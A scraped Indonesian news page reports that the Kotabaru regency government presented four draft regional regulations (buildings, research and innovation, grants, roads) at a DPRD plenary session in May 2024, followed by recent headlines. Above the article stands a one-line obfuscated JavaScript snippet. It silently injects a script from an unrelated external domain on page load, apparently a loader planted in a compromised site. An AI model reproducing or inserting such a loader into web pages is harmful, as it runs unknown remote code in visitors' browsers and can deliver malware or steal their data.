(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Pemkab Kotabaru Sampaikan 4 Raperda dalam Paripurna DPRD


KANALKALIMANTAN.COM, KOTABARU – DPRD Kotabaru kembali menggelar rapat paripurna yang kali ini agendanya adalah penyampaian 4 buah Rancangan Peraturan Daerah (Raperda) oleh Bupati Kotabaru, Senin (13/5/2024).

Pelaksanaan paripurna dipimpin langsung oleh Ketua DPRD Kotabaru, Syairi Mukhlis didampingi wakil ketua, H Mukhni AF serta para anggota DPRD Kotabaru, dan dari Pemerintah daerah di hadiri Staf Ahli Bidang Pemerintahan, H Zainal Abidin.

Dikatakan oleh H Zainal Abidin bahwa, adapun Raperda yang disampaikan tentang pembangunan gedung, ruang lingkup pengaturan dalam peraturan daerah meliputi fungsi klasifikasi bangunan gedung, standar teknis, proses penyelenggaraan.

Infrastruktur bangunan gedung dengan nuansa kearifan lokal, peran serta masyarakat, pembinaan dan pengawasan pendanaan dan sangksi adminstratif.

“Kedua, Raperda tentang riset dan inovasi daerah sebagai bagian dari upaya meningkatkan kinerja penyelenggaraan pemerintah daerah dibutuhkan riset dan inovasi daerah, tujuan dari adanya riset dan inovasi daerah percepatan terwujudnya kesejahteraan masyarakat adanya inovasi daerah diharapkan akan berdampak pada perbaikan kualitas pelayanan publik, pemberdayaan masyarakat, meningkatkan peran serta masyarakat dan meningkatkan daya saing daerah,” tutur dia.

Dia melanjutkan, yang ketiga adalah Raperda tentang hibah dan sumbangan dari pihak lain, untuk mencapai tujuan negara yang diatur dalam pembukaan UUD Republik Indonesia tahun 1945 dan yang keempat Raperda tentang penyelenggaraan jalan kabupaten dan jalan desa.

Jalan sebagai salah satu prasarana transportasi yang menyangkut hajat hidup orang banyak mempunyai fungsi sosial yang sangat penting dengan pengertian tersebut.

”Maka wewenang penyelenggaraan jalan wajib kita semua menjalankan tugas dan tanggung jawab kita dalam mengayomi dan mensejahterakan masyarakat Kabupaten Kotabaru,” pungkas dia. (kanalkalimantan.com/muhammad)

Reporter: muhammad
Editor: Dhani


Muhammad Andi

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

14 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

18 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

21 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.